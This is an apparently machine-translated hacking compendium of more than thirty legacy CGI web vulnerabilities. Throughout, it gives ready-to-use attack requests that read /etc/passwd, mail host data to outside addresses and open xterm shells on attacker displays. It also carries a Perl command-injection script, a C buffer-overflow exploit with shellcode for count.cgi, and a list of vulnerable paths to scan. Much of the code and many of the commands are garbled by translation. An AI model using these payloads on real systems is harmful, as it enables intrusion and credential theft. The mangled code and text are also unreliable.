I.PHF vulnerability This PHF vulnerability seems to be the most classic, almost all articles will introduce, can execute the server's command, such as display / etc / passwd: lynx http://www.victim.com/cgi-bin/phf Qalias = x% 0A / bin / cat% 20 / etc / passwd But can we find it? II.Php.cgi 2.0beta10 or earlier version of the vulnerability = Copyright Hot Network Hot Download Hotspot Network College Copyright = You can read all files of Nobody privileges .Lynx http://www.victim.com/cgi-bin/php.cgi?/etc/passwdphp.cgi 2.1 version can only read the SHTML file. For password files, comrades want Note, maybe in /etc/master.passwd/etc/security/passwd, etc. 3.Whois_raw.cgilynx http://www.victim.com/cgi-bin/whois_raw.cgi?fqdn= ct / Etc / passwdlynx http://www.victim.com/cgi-bin/whois_raw.cgi?fqdn= /USR/X11R6/bin/xterm -display graziella.lame.org:04. FAXSURVEYLYNX HTTP: //www.victim.com/cgi-bin/faxsurvey?/bin/cat /etc/passwd 5.TextCounter.pl If there is a textcounter.pl on the server, everyone can execute the command. # ! / usr / bin / perl $ url = 'http://dtp.kappa.ro/a/test.shtml'; # please _do_ _modify_ this $ email = 'pdoru @ pop3.kappa.ro, root'; # please _DO__Modify_ thisif ($ CMD = $ argv [0];} else {$ cmd = "(ps ax; cd ..; cd ..; cd ..; cd. Cat Hosts; set ) / | mail $ {email} -sanothere_one ";} $ text =" $ {url} /; IFS = / 8; $ {cmd}; echo | " ; $ text = ~ s / // $ / {IFS /} / g; #print "$ text / n"; system ({"wget"} "wget", $ text, "-o / dev / null") System ({"Wget"} "wget", $ text, "-o / dev / null"); # system ({"{" {"{" {"{" ln ", $ text); # If there is no wget command can also be used by Lynx #System ({"{" {"{" lynx ", $ text); 6. Some versions (1.1) INFO2www vulnerabilities $ request_method = get ./info2www '(../../../../ .. /..../bin/mail jami assewd |) '$ you have new mail. $ said that I don't quite understand. :( 7.pfdispaly.cgilynx -source /'Http://www.victim.com/ CGI-bin / pfdispaly.cgi? /../....../.... There is another vulnerability that can be executed by the command Lynx -dump http://www.victim.com/cgi -bin / pfdispaly.cgi? '% 0A / bin / uname% 20-a |'
Orlynx -dump / http: //victim/cgi-bin/pfdispaly.cgi? '% 0A / USR / BIN / X11 / XClock% 20-Display% 20evil: 0.0 |' Eight .WraplyNX http: //www.victim. COM / CGI-BIN / WRAP? /../../../../../ etc Nine .www-sql allows you to read some restricted pages such as entering: http in your browser : //your.server/protacected/something.html: Enter an account and password. And WWW-SQL doesn't have to be: http: //your.server/cgi-bin/www-sql/protected/something.html : Ten .view-sourcelynx http://www.victim.com/cgi-bin/view-source?../../..../../...... tac/passwd eleven .campaslynx http://www.victim.com/cgi-bin/campas? cat /etc/passwd 12.webgaistelnet www.victim.com 80post / cgi-bin / WebGais HTTP / 1.0Content-Length : 85 (replace this with the actual length of the "exploit" line) query = '; mail drazvan/@pop3.kappa.roparagraph thirteen .websendmailtelnet www.victim.com 80POST / cgi-bin / websendmail HTTP / 1.0Content -length: xxx (should be replaced with the actual length of thestring passed to the server, in this case xxx = 90) receiver =; mail your_address/@somewhere.orgubject=a&content=a fourteen .handlertelnet www.victim.com 80GET / CGI-BIN / HANDLER / Useless_Shit; CAT / ET C / Passwd |? Data = DownloadHTTP / 1.0orget / cgi-bin / handler / black; xwsh -display YourHost.com |? Data = DOWNLOADORGET / CGI-BIN / HANDLER /; XTERM-DISPLAYDANISH: 0-E / BIN / SH |? Data = Download Note, CAT is the Tab key instead of space, the server will not open Useless_Shit, but still execute the following command. 15.test-cgilynx http://www.victim.com/cgi-bin/test ? -cgi /whateverCGI/1.0 test script report: argc is 0. argv is .SERVER_SOFTWARE = NCSA / 1.4BSERVER_NAME = victim.comGATEWAY_INTERFACE = CGI / 1.1SERVER_PROTOCOL = HTTP / 1.0SERVER_PORT = 80REQUEST_METHOD = GETHTTP_ACCEPT = text / plain, application / x -HTML, Application / HTML, TEXT / HTML, TEXT / X-HTMLPATH_INFO = PATH_TRANSLATED = Script_name = / cgi-bin / test-cgiquery_string =
whateverREMOTE_HOST = fifth.column.govREMOTE_ADDR = 200.200.200.200REMOTE_USER = AUTH_TYPE = CONTENT_TYPE = CONTENT_LENGTH = http get a directory of some of lynx http://www.victim.com/cgi-bin/test-cgi?/help&0a/bin/cat% 20 / etc / passwd This stroke seems to be used. :( lynx http://www.victim.com/cgi-bin/nph-test-cgi? /* can also try GET / CGI-BIN / TEST- CGI? * http / 1.0GET / CGI-BIN / TEST-CGI? X * GET / CGI-BIN / NPH-TEST-CGI? * http / 1.0Get / cgi-bin / nph-test-cgi? x * Get / CGI-BIN / TEST-CGI? X HTTP / 1.0 * GET / CGI-BIN / NPH-TEST-CGI? X http / 1.0 * 16. Apache for some BSDs: Lynx http://www.victim. Com / root / etc / passwdlynx http://www.victim.com/~root/etc/passwd seven .htmlscriptlynx http://www.victim.com/cgi-bin/htmlscript?../. ./../etc/passwd eighteen .jj.cThe demo cgi program jj.c calls / bin / mail without filtering userinput, so any program based on jj.c could potentially be exploited bysimply adding a followed by a Unix command. IT May Require Apassword, Buttou Known Passwords include httpdrocks and sdgrocks. Ifyou can retrieve a Copy of the Compiled Program Running Strings On ItWill Prob Ably Reveil The Password.do a web search on jj.c to get a copy and study the code yourself ifou Have More Questions. 19.frontpage extensions If you read http://www.victim.com/_vti_inf.html you will Get the version of the FP Extensions and it on the server. There are also some password files such as: http://www.victim.com/_vti_pvt/service.pwdhttp://www.victim.com/_vti_pvt/Users.pwdhttp: //www.victim.com/_vti_pvt/authors.pwdhttp://www.victrtrators.pwd twenty .Freestats.com CGI did not encounter, some places could not make mistakes, so directly English .John Carlton found following. He developed an exploit for thefree web stats services offered at freestats.com, and supplied thewebmaster with proper code to patch the bug.Start an account with freestats.com, and log in. Click on thearea that says "
CLICK HERE TO EDIT YOUR USER PROFILE & COUNTERINFO "This will call up a file called edit.pl with your user #and password included in it. Save this file to your hard disk andopen it with notepad. The only form of security in this is ahidden attribute on the form element of your account number.Change this from * input type = hidden name = account value = your # * to * input type = text name = account value = "" * Save your page and load it into your browser . Their will now be atext input box where the hidden element was before. Simply type a # in and push the "click here to update user profile" and all theinformation that appears on your screen has now been written tothat user profile.But that isn ' t the worst of it. By using frames (2 frames, one tohold this page you just made, and one as a target for the formsubmission) you could change the password on all of their accountswith a simple javascript function.Deep inside the web site Authors Still Have The Good Old "Edit.pl" script. it takes some time to reach i T (unlike the path described) But you can reach it Directly at: http://www.siteTracker.com/cgi-bin/edit.pl? account = & password = 21.vulnerability in Glimpse httptelnet target.machine.com 80GET / CGI-BIN/aglimpse/80|||12.CMD=5mAil5Fyodor/@dhp.com/md; Echohttp/1.0 twenty-two.count.cgi This program is only valid for count.cgi 24: / * # ## count.c ################################################################################################################################################################################################################################################################### ########### * / # include # incrude # incrude # incrude # incrude # incrude # incdude # include # include / * forwards * / unsigned long getsp (int); int usage (char *); Void DOIT (Char *, Long, Char *); / * constants * / char shell [] = "/ x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / X90 / X90 / X90 "" "
/ x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 "" / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 "" / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 "" / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 "" / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 "" / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 "" / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 "/ x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 "" / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 "" / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 "" / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 "" / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 "" / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 "" / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 "" / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 "" / x90 / x90 / x 90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 "" / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / X90 / x90 / x90 / x90 / x90 / x90 "" / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 "/ x90 / X90 / X90 / X90 / X90 / X90 / X90 / X90 / X90 / X90 "" / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / X90 / x90 / x90 / x90 "" / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 "" XEB / X3C / X5E / X31 / XC0 / X89 / XF1 / X8D / X5E / X18 / X88 / X46 / X30 "" / x88 / x46 / x39 / x88 / x46 / x4b / x8d / x56 / X20 / x89 / x16 / x8d / x56 / x2d / x89 / x56 ""
/ x04 / x8d / x56 / x08 / x8d / x56 / x3a / x89 / x56 / x0c / x8d / x56 / x10 "" "" / x89 / x46 / x10 / xb0 / x0b / xcd / x80 / x31 / XDB / X89 / XD8 / X40 / XCD / X80 / XE8 / XBF "/ XFF / XFF / XFF / XFF / XFF / XFF / XFF / XFF / XFF / XFF / XFF / XFF "/ XFF / XFF / XFF / XFF / XFF / XFF / XFF / XFF / XFF / XFF / XFF" / USR / X11R6 / BIN / XTERM0-UT0-Display0 "; char endpad [] =" / XFF / XFF / XFF / XFF / XFF / XFF / XFF / XFF / XFF / XFF / XFF / XFF / XFF / XFF / XFF / XFF / XFF / XFF / XFF / XFF / XFF / XFF / XFF / XFF "; int Main (int Argc, char * argv []) {char * shellcode = null; int CNT, Ver, Retcount, Dispnum, Dotquads [4], Offset; Unsigned long sp; char dispName [255]; char * host; offset = sp = cnt = VER = 0; FPRINTF (stderr, "/ t% s - gus / n", argv [0]); if (argc <3) USAGE (Argv [0]); while (CNT = Getopt (Argc, Argv, "H: D: V: o:")))! = EOF) {switch (cnt) {CASE 'h': host = OPTARG; Break; Case 'D': {rettle = SSCANF (OPTARG, "% D.% d.% d.% d:% d", & dotquads [0], & dotquads [1], & dotquads [2], & dotquads [3], & dispnum); if (Retcount! = 5 USAGE (Argv [0]); Sprintf (Dispname, "% 03D.% 03d.% 03D.% 03D:% 01D", Dotquads [0], Dotquads [1], Dotquads [2], Dotquads [3], Dispnu m); shellcode = malloc (Strlen) Strlen (shell) Strlen (endpad)); Sprintf (Shellcode, "% S% S% S% S", Shell, Dispname, Endpad;} Break; Case 'V': Ver = ATOI (OPTARG); Break; Case 'o': offset = ATOI (OPTARG); Break; Default: Usage (Argv [0]); Break;}} sp = offset getsp (Ver) (void) DOIT (Host, SP, Shellcode); Exit (0);} Unsigned long getsp (int ver) {/ * get the stack pointer we shop be used. Ymmv. if it does not work, try using -o X, WHERE X is betWeen -1500 and 1500 * / unsigned long sp = 0; if (ver == 15) sp = 0xBFFFEA50; if (Ver =
= 20) sp = 0xBffFea50; if (Ver == 22) sp = 0xBFFFEAB4; if (Ver == 23) sp = 0xBFFFEE38; / * Dunno About this one * / if (sp == 0) {fprintf (stderr, " I don't have an sp for trying try using the -o option./n" ";fprintf(stderr, "versions Above 24 Are patched for this bug./n" );Exit (1);} else {Return sp;}} int usage (char * name) {fprintf (stderr, "/ tusage:% s -h host -d -v [-o] / n", name); fprintf (stderr, "/ te.g. % s -h www.foo.bar -d 127.0.0.1:0 -V 22 / n ", name); exit (1);} int openhost (char * host, int port) {int Sock; struct hostent * he Struct sockaddr_in sa; he = gethostByname (Host); if (he == null) {Perror ("Bad hostname / n"); exit (-1);} Memcpy (& sa.sin_addr, he-> h_addr, he- > h_length); sa.sin_port = htons (port); sa.sin_family = af_INET; SOCK = Socket (AF_INET, SOCK_STREAM, 0); IF (Sock <0) {PERROR ("Cannot Open Socket"; exit (-1 );} Bzero (& sa.sin_zero, sizeof (sa.sin_zero)); IF (Connect (STRUCK, STRUCKADDR *) & SA, SIZEOF SA) <0) {PERROR ("Cannot connect to Host"; exit 1);} Return (SOCK);} void DOIT (Char * Host, Long SP, Char * Shell {Int CNT, Sock; CHAR QS [7000]; int buff [bufsize]; char chain [] = "user = a"; bzero (buf); for (CNT = 0; CNT <4104 ; CNT = 4) {QS [CNT 0] = SP & 0x000000FF; QS [CNT 1] = (SP & 0x0000FF00) >> 8; QS [CNT 2] = (SP & 0x00FF0000) >> 16; QS [CNT 3] = (SP & 0xFF000000) >> 24;} STRCPY (QS, CHAIN); QS [Strlen] = 0x90; QS [4104] = SP & 0x000000FF; QS [4105] = (SP & 0x0000FF00) >> 8; QS [4106] = (SP & 0x00FF0000) >> 16; QS [4107] = (SP & 0xFF000000) >> 24; QS [4108] = SP &
0x000000FF; QS [4109] = (SP & 0x0000FF00) >> 8; QS [4110] = (SP & 0x00FF0000) >> 16; QS [4111] = (SP & 0xFF000000) >> 24; QS [4112] = SP & 0x000000FF; QS [4113] = (SP & 0x0000FF00) >> 8; QS [4114] = (SP & 0x00FF0000) >> 16; QS [4115] = (SP & 0xFF000000) >> 24; QS [4116] = SP & 0x000000FF; QS [4117] = (SP & 0x0000FF00) >> 8; QS [4118] = (SP & 0x00FF0000) >> 16; QS [4119] = (SP & 0xFF000000) >> 24; QS [4120] = SP & 0x000000FF; QS [4121] = (SP & 0x0000FF00) >> 8; QS [4122] = (SP & 0x00FF0000 ) >> 16; QS [4123] = (SP & 0xFF000000) >> 24; QS [4124] = SP & 0x000000FF; QS [4125] = (SP & 0x0000FF00) >> 8; QS [4126] = (SP & 0x00FF0000) >> 16; QS [ 4127] = (SP & 0xFF000000) >> 24; QS [4128] = SP & 0x000000FF; QS [4129] = (SP & 0x0000FF00) >> 8; QS [4130] = (SP & 0x00FF0000) >> 16; QS [4131] = (SP & 0xFF000000)> > 24; STRCPY ((char *) & qs [4132], shellcode; sock = OpenHost (Host, 80); Write (SOCK, "Get /ci-bin/count.cgi?""23 );write (SOCK, QS, Strlen (QS)); WRITE (SOCK, "HTTP / 1.0 / N", Write (Sock, "User-Agent:", 12); Write (Sock, QS, Strlen (QS)); WRITE (SOCK, "/ N / N", 2); SLEEP (1); / * Printf ("get /cgi-bin/count.cgi?% HTTP / 1.0 / NUSER-Agent:% S / N / N" , QS, QS); * // * setENV ("http_user_agent", qs, 1); s Etenv ("Query_String", QS, 1); system ("./ count.cgi"); * /} View picture http://attacked.host.com/cgi-bin/count.cgi?com/cgi-bin/count.cgi?display = Image & Image = .. / .. / .. / .. / .. / .. / path_to_gif / file.gif twenty-three.finger.cgilynx http://www.victim.com/cgi-bin/finger @ c LocalHost gets the username landing on the host. 24.man.shrobert Moniot Found Foldung. The May 1998 Issue of Sysadminmagazine Contains an Article, "
Web-Enabled Man Pages ", whichincludes source code for very nice cgi script named man.sh to feedman pages to a web browser. The hypertext links to other manpages are an especially attractive feature.Unfortunately, this script is vulnerable to attack. Essentially, Anyone Who Can Execute The CGI thru Their Web Browser Can Run Anysystem Commands with the user ID of the Web Server and Obtain Theoutput from Theme in A Web Page. Most. forma, in the form, add your mailbox / Etc / passwd twenty-six.jfs believes that everyone has seen the article "JFS invaded the PCWEEK-Linux host" This article, he uses Photoads to attack the host. I have no actual attack, see the understanding of the article is like this. First Lynx "http://securelinux.hackpcweek.com/photoads/cgi-bin/edit.cgi?adnum=31337&action=lele&country=laqu&city=lele@hjera.com&name=
% 0a111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 111111111111111 11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 111111111111111111111111111 & Phone = 11 & Subject = la & password = 0 & CityStPhone = 0 & Renewed = 0 "value to create a new AD to bypass inspection AdNum with $ = Copyright hot-Fi hotspot download hotspot Networking Academy Copyright = lynx 'http://securelinux.hackpcweek.com/ Photoads / cgi-bin /photo.cgi? file = a.jpg & adnum =
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 1111111111111111 11111111111111111111111111111111 & data = 1 & password = 0 & file_content =% 00% 00% 00% 00% 00% 00% 00% 00% 00% 00 & File_Name = / lala //../../../../. ./../../home/httpd/html/photoads/cgi-bin/advisory.cgi .gif 'Create / override User Nobody to write any files, I don't know if my understanding is right, in it ZIP package I can't find the to_URL script, I don't know which comrand knows? Twenty-seven. BackDoor sees that some cgichk.c has check the Trojan unlg1.1 and rwwwshell.pl before unlg written, I have not seen it. Over the source, there is a THC written, and there is a source code of 1.6 version in PacketStorm. Twenty-eight.visadmin.exehtp: //omni.server/cgi-bin/visadmin.exe? User = guest This command line will not stop Write something to the server's hard drive, knowing it. Twenty-nine.campas> telnet www.xxxx.net 80trying 200.xx.xx.xx ... connected to venus.xxx ney.neteScape character is '^]'
.GET / CGI-BIN / CAMPAS?% 0ACAT% 0A / ETC / PassWD% 0Aroot: x: 0: 1: Super-user: / export / home / root: / sbin / shdaemon: x: 1: 1 :: / : bin: x: 2: 2 :: / usr / bin: sys: x: 3: 3 :: /: adm: x: 4: 4: admin: / var / adm: lp: x: 71: 8: Line Printer admin: / usr / spool / lp: SMTP: x: 0: 0: Mail daem .... Next Do you know what to do: P thirty .webgaisquery = '; MAIL FOO@somewhere.nettelnet target.machine.com 80POST / CGI-BIN / WebGais HTTP / 1.0content-length: 85 (Replace this with the actual length of the "line) query = '; mail Drazvan / @ pop3 .kappa.roparagraphtelnet target.machine.com 80POST / cgi-bin / websendmail HTTP / 1.0Content-length: xxx (should be replaced with the actual length of thestring passed to the server, in this case xxx = 90) receiver =; mail Your_address/@somewhere.orgubject=a&content=a thirty-one .wraphttp: //sgi.victim/cgi-bin/wrap? /../../..../../etc listing the ETC directory The following is the possibility that all CGI program names that may contain vulnerabilities, as for other more vulnerabilities, in collected finishing, here you also sincerely hope to get your criticism and advice ./cgi-bin/rwwwshell.pl/cgi-bin / phf/cgi-bin/count.cgi/cgi-bin/test.cgi/cgi-bin/nph-test-cgi/cgi-bin/nph-publish/cgi-bin/php.cgi/cgi-bin/handler / CGI-BI N / WebGAIS / CGI-BIN / Websendmail / CGI-BIN / WebDist.cgi / CGI-BIN / FAXSURVEY / CGI-BIN / HTMLScript / CGI-BIN/PFDISPLAY.CGI / CGI-BIN/PERL.EXE/CGI-BIN///erl.exe/cgi-bin/ Wwwboard.pl/cgi-bin/ww-sql/cgi-bin/view-source/cgi-bin/campas/cgi-bin/aglimpse/cgi-bin/glimpse/cgi-bin/man.sh/cgi-bin/ At-admin.cgi / scripts / no-such-file.pl / _vti_bin / shtml.dll / _vti_inf.html / _vti_pvt / administrators.pwd / _vti_pvt / users.pwd / msadc / samples / selector / showcode.asp / scripts / Iisadmin / ism.dll? http / dir / adsamples / config / seat.csc / main.asp% 81 / advworks / equipment / catalog_type.asp? /cgi-bin/input.bat? | dir ../../ Windows /INDEX.ASP :: $ data / cgi-bin / visadmin.exe? user = guest /? PageServices / ss.cfg / cgi-bin / get32.exe | echo% 20>
C: /file.txt/cgi --bin/cachemgr.cgi/cgi-bin/pfdispaly.cgi? /../..../../ etc / motd / domcfg.nsf /tty.nsf/Names. NSF / CATALOG.NSF / LOG.NSF / DOMLOG.NSF / CGI-BIN / At-Generate.cgi / secure / .wwwwacl / secure / .htaccess / Samples / Search / WebHits.exe / scripts / srchadm / admin.idq / CGI-BIN / DUMPENV.PLADMINLOGIN? RCPAGE = / sysadmin / index.stm /c:/program/getdrvrs.exe/test/test.cgi/scripts/submit.cgi/users/scripts/submit.cgi/ncl_Items.html? Subject = 2097 /ci-bin/filemail.pl /ci-bin/maillist.pl /cgi-bin/jj/cgi-bin/info2www/cgi-bin/files.pl/cgi-bin/finger/cgi-bin/ Bnbform.cgi / cgi-bin / survey.cgi / cgi-bin / anyform2 / cgi-bin / textcounter.pl / cgi-bin / classifieds.cgi / cgi-bin / environ.cgi / cgi-bin / wrap / CGI- BIN / CGIWRAP / CGI-BIN / GUESTBOOK.CGI / CGI-bin / edit.pl / cgi-bin / perlshop.cgi / _vti_inf.html / _vti_pvt / service.pwd / _vti_pvt / users.pwd / _vti_pvt / authors.pwd / _vti_pvt / administrators.pwd / cgi-win / uploader.exe /../../ config.sys / iisadmpwd / achg.htr / iisadmpwd / aexp.htr / iisadmpwd / aexp2.htr / IisadMPWD / aexp4b.htr / IisadMPWD / Aexp4b.htrcfdocs / expeval / evrcalc.cfm? OP Enfilepath = C: / WinNT / Repair / Sam ._ / cfdocs / expeval / openfile.cfm / cfdocs / expeval / openfile.cfm / getfile.cfm? ft = text & fst = plain & filepath = C: / Winnt / Repair / Sam ._ / CFIDE / Administrator / StartStop.html / CGI-BIN / Wwwboard.pl / _vti_pvt / shtml.dll / _vti_pvt / shtml.exe / cgi-dos / args.bat / cgi-win / uploader.exe / cgi-bin / rguest. EXE / CGI-BIN / WGuest.EXE / SCRIPTS / ISSADMIN / BDIR.HTR / SCRIPTS / CGIMAIL.EXE / SCRIPTS / TOOLS / NewDSN.EXE / Scripts / FpCount.exe / CFDOCS / ExpelVal / OpenFile.cfm / CFDOCS / ExelVal / exprcalc.cfm / cfdocs / expelval / displayopenedfile.cfm / cfdocs / expelval / sendmail.cfm / iissamples / exair / howitworks / codebrws.asp / iissamples / sdk / asp / docs / codebrws.asp / msads / Samples / SELECTOR / showcode. ASP / SEARCH97.VTS / Carbo.dll / CGI-BIN / WHOIS_RAW.CGI? FQDN =
